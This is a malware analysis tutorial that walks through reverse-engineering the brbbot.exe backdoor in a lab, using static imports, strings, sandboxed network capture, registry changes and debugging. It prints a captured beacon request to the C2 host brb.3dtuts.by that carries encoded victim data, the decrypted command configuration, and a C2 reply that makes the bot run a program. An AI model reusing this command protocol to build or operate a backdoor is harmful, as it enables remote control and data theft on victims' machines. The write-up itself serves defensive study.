Introduction to Malware Analysis

Intro

Today we’ll take a look at reverse-engineering a malware sample called brbbot.exe. TODO: Link to download malware.

I wanna make sure that this is something worth my time first. The apporach below is very methodical.

Static Properties

Results below are taken from pescanner.

File properties

Meta-data
==========================================================================================
Size            : 75776 bytes
Type            : PE32+ executable (GUI) x86-64, for MS Windows
Architecture    : 64 Bits binary
MD5             : 1c7243c8f3586b799a5f9a2e4200aa92
SHA1            : 4db5a8e237937b6d7b435a8506b8584121a7e9e3
ssdeep          : 1536:b6sMD3H8V3jsUnHLiREsTbDV/48OO4vh47483gLi9+LSG:b6srVzJiRrTHVORe75g4+LS
imphash         : 475b069fec5e5868caeb7d4d89236c89
Date            : 0x54ED67C2 [Wed Feb 25 06:12:18 2015 UTC]
Language        : ENGLISH
CRC:    (Claimed) : 0x0, (Actual): 0x159b5 [SUSPICIOUS]
Entry Point     : 0x140003f94 .text 0/6
================

Suspicious IATs

I like to jump to the last section of pescanner, Suspicious IAT Alerts, that scans the Import Address Table (IAT) and outputs the dangerous/interesting looking imports based on the tools own heuristics. I grouped some imports and jotted down some quick notes with a > prefix

[5] CryptEncrypt
> Encryption

[1] CopyFileA
[2] CreateFileA
[3] CreateFileW
[6] DeleteFileA
[37] WriteFile
[17] GetTempFileNameA
[18] GetTempPathA
> File manipulation

[34] TerminateProcess
[4] CreateProcessA
> Creates a process and does file manipulation

[7] FindResourceA
[29] LockResource
> Dumper?
> String: "CONFIG"

[15] GetProcAddress
[28] LoadLibraryW
> Injector? Look for function calls in the 'Strings' section as well.

[20] HttpQueryInfoA
[21] HttpSendRequestA
[22] InternetCloseHandle
[23] InternetConnectA
[24] InternetOpenA
[25] InternetQueryDataAvailable
[26] InternetReadFile
> Communication to a C2 server? Notice the call to InternetReadFile.
> Could be communicating the encryption password for a ransomware

[27] IsDebuggerPresent
> Debugger detection

[30] RegCloseKey
[31] RegDeleteValueA
[32] RegOpenKeyExA
> Modify registry

Strings

For simple ASCII and unicode string extraction, I use pestr on Linux and PE Studio on Windows. The usage for both is very straightforward. Just as before, I grouped some strings and jotted down quick notes with a > prefix

CONFIG
> Resource name. _pescanner_ confirmed it

brbconfig.tmp
> filename. Could be related to CONFIG resource.

YnJiYm90
> Doesn't look like random characters. A hashed version of this could be used for encryption. More info here: https://msdn.microsoft.com/en>us/library/windows/desktop/aa382358(v=vs.85).aspx

exec
file
conf
exit
sleep
> C2 commands?

encode
%02x
> Encoding? Could be for data transfer over the network

%s?i=%s&c=%s&p=%s
> printf?


Software\Microsoft\Windows\CurrentVersion\Run
> Autorun == persistence

Microsoft Enhanced Cryptographic Provider v1.0
> Use of cryptography. This is the keystore provider

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
HTTP/1.1
Connection: close
> User agent

APPDATA

Interesting so far. We have some encryption, registry modifications, file manipulation, internet capabilities. All point to persistence and possible data exfiltration. Maybe even a very simple ransomware. Its VERY important to note that pescanner’s suspicious IAT table is not sophisticated in any way. Without reading the code, I don’t think we can make harsh conclusions other than this binary ‘could’ be a malware.

Priority and theory is very important when doing investigating. One could get easily get lost analyzing an apple pie when what they really need to know is how to bake it. My priority now is to know what the limits of this binary. I don’t think its a hard goal since the malware seems to be simplistic. But again, this assumption can change, hence the methodical approach.

Assumptions (up to this point)

Prioritization is important. Below is a list of things I can (for now) put on the backburner and not think too much about it (unless the damn apple pie grows teeth and wings).

• I don’t think its packed. CONFIG resource seems to be too small for that. Also, both Detect It Easy and ExeInfo PE say its not. Seems to be a pretty linear binary.
• Its definitely doing encryption, internet handling, and registry modifications.
• There is that IsDebuggerPresent call that I have to watch out for. ScyllaHide in x64dbg is great for that.

Questions

• Anti-debug: Is their anti-debugging?
• Registry: What’re the registry modifications?
• Encryption: What is being encrypted?
• HTTP: What’s being sent (or received)?

Behaviour Analysis

For Behaviour Analysis, I’m turning on FakeDNS and INetSim in my REMnux analysis machine. In the Windows victim machine, I have ProcMon, RegShot and Process Hacker prepared and ready for action. Below is the output of the interesting bits from the above tooling after infecting my machine with brbbot.exe

FakeDNS

Respuesta: brb.3dtuts.by. -> 172.16.248.129

We got a request for DNS resolution for brb.3dtuts.by. Looks like its relevant. Its worth noting that .by is a Belarusian top-level domain.

INetSim

[2018-06-04 12:59:30] [2290] [http_80_tcp 2399] [172.16.248.130:49861] recv: GET /ads.php?i=172.16.248.130&c=DESKTOP-2C3IQHO&p=123f373e600822282f3e366028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602d363a382f33372b753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282b343437282d753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602d362f343437283f753e233e600d1c1a2e2f33083e292d32383e753e233e60163e363429227b1834362b293e2828323435600c36320b292d081e753e233e603f37373334282f753e233e6036283f2f38753e233e6028323334282f753e233e60282d383334282f753e233e602f3a28303334282f2c753e233e603e232b3734293e29753e233e60092e352f32363e192934303e29753e233e60083e3a29383312353f3e233e29753e233e6008333e37371e232b3e29323e35383e1334282f753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e602d362f343437283f753e233e60282d383334282f753e233e603f37373334282f753e233e602f3a28303334282f2c753e233e60323f3a6d6f753e233e60083e3a2938330e12753e233e601f3228361334282f753e233e600822282f3e36083e2f2f32353c28753e233e6038363f753e233e603834353334282f753e233e600b2934383e2828133a38303e29753e233e60093e3c2833342f76236d6f761a150812753e233e600b293438363435753e233e600b2934383634356d6f753e233e600c36320b292d081e753e233e60083e3a2938330b29342f343834371334282f753e233e60083e3a2938331d32372f3e291334282f753e233e603f37373334282f753e233e603f37373334282f753e233e6039293939342f753e233e60083e3a2938330b29342f343834371334282f753e233e HTTP/1.1
[2018-06-04 12:59:30] [2290] [http_80_tcp 2399] [172.16.248.130:49861] recv: Accept: */*
[2018-06-04 12:59:30] [2290] [http_80_tcp 2399] [172.16.248.130:49861] recv: User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
[2018-06-04 12:59:30] [2290] [http_80_tcp 2399] [172.16.248.130:49861] recv: Host: brb.3dtuts.by
[2018-06-04 12:59:30] [2290] [http_80_tcp 2399] [172.16.248.130:49861] recv: Connection: Close
[2018-06-04 12:59:30] [2290] [http_80_tcp 2399] [172.16.248.130:49861] recv: Cache-Control: no-cache

INetSim intercepted the above HTTP request towards brb.3dtuts.by. I see some interesting bits here:

• Its a GET request to /ads.php. You’ll need an API like InternetReadFile to read what’s happening there. Remember that we saw InternetReadFile in our suspicious IAT from pescanner output.
• We saw a formatted string that corresponds to this request’s format in the Strings section above, namely this %s?i=%s&c=%s&p=%s
• The content of &p= is hex. Could be encrypted
• Same request is occurring every 30 seconds.

RegShot

Files added

C:\Users\REM\AppData\Roaming\brbbot.exe
C:\Users\REM\Desktop\brbconfig.tmp

We see two entries here:

• brbbot.exe has copied itself to C:\Users\REM\AppData\Roaming\brbbot.exe. I’m assuming for persistence.
• brbconfig.tmp is created in the same directory I ran the malware from ‘Desktop’. The file’s content is encrypted.

Registry keys added

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\brbbot: "C:\Users\REM\AppData\Roaming\brbbot.exe"

This confirms our persistence theory: brbbot.exe has created a new entry in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key which is responsible for handling autorun entries.

Process Hacker

Shows one process only: brbbot.exe. It didn’t really try to kill itself or spawn any other processes.

Assumptions (up to this point)

So brbbot.exe is trying to stay alive on the user’s machine for as much as possible. It sends a GET request to http://www.brb.3dtuts.by/ads.php every 30 seconds with an encrypted value, and it registered itself in the victim’s autorun key to spawn upon launch.

This binary could be a stage-1 malware that connects to a C2 (Command & Control) server to download the ‘Real’ malware, or it could just be launching commands from that server.

Remember that our goal is to understand the binary/malware’s limitations. Its worth noting the following questions at this point.

Questions

• What is being sent and received in that GET request to brb.3dtuts.by? (Top priority)
• What’s inside brbconfig.tmp?

Code Analysis

Tracing brbconfig.tmp

Opening IDA Pro and checking xrefs to CryptDecrypt revealed that it is only called in one location.

Going to the call location shows a call to ReadFile right behind it. It looks like CryptDecrypt is decrypting whatever is in a file. The filename is stored in R12 register in 0x2E31 in the screenshot above. Tracing R12 register reveals an interesting name.

File name is brbconfig.tmp. So if we attach a debugger and view the contents, we can extract what’s inside brbconfig.tmp.

Another minor point of interest I found while scrolling around is the password used to create the hash used to encrypt/decrypt brbconfig.tmp

Debugging CryptDecrypt

Attaching a x64dbg and setting a breakpoint on CryptDecrypt reveals the decrypted contents of brbconfig.tmp.

The content [rsp+20] is:

"uri=ads.php;exec=cexe;file=elif;conf=fnoc;exit=tixe;encode=5b;sleep=30000"

We’ll come back to this string later.

Tracing InternetReadFile

2nd priority is to understand what’s happening in InternetReadFile. IDA Pro says there is only one call location for InternetReadFile as well. Going to the call location and looking around a bit revealed a bunch of calls to strchr and strncmp; 4 calls to strncmp to be exact.

Attaching x64dbg and setting a breakpoint on InternetReadFile revealed that our binary is comparing the first word it finds in ads.php to a bunch of keywords:

• cexe
• elif
• tixe
• fnoc

The astute reader would recognize those keywords from the string we decrypted from brbconfig.tmp. It looks like a bunch of commands to me. exec looks most interesting.

Findings so far

I think we’ve reached a very good point here. We understand what’s inside brbconfig.tmp and what’s happening with InternetReadFile. I would even say that the encode=5b parameter in brbconfig.tmp is the byte used to XOR the p= parameter that was sent over to brb.3dtuts.by but I won’t go there now.

I have one last thing I wanna test: this exec command.

Receiving a Response

We’ll run a simple nginx HTTP server on our REMnux machine that has an ads.php file in /var/www that has the following:

cexe C:\Windows\System32\calc.exe

After re-infecting the machine with brbbot.exe, we see a wild calculator appear!

It also launches a new one every 30 seconds.

Conclusion

We’ve utilized a very methodical approach to understanding brbbot.exe. We know now what it does and what can be done with it. I can see that the binary is not so sophisticated but it is very much potent. I didn’t really test what elif command does but I can assume it can be used for data exfiltration. If brbbot.exe had the ability to spread through the network and a was packed in a smart way, it would be a very dangerous binary indeed.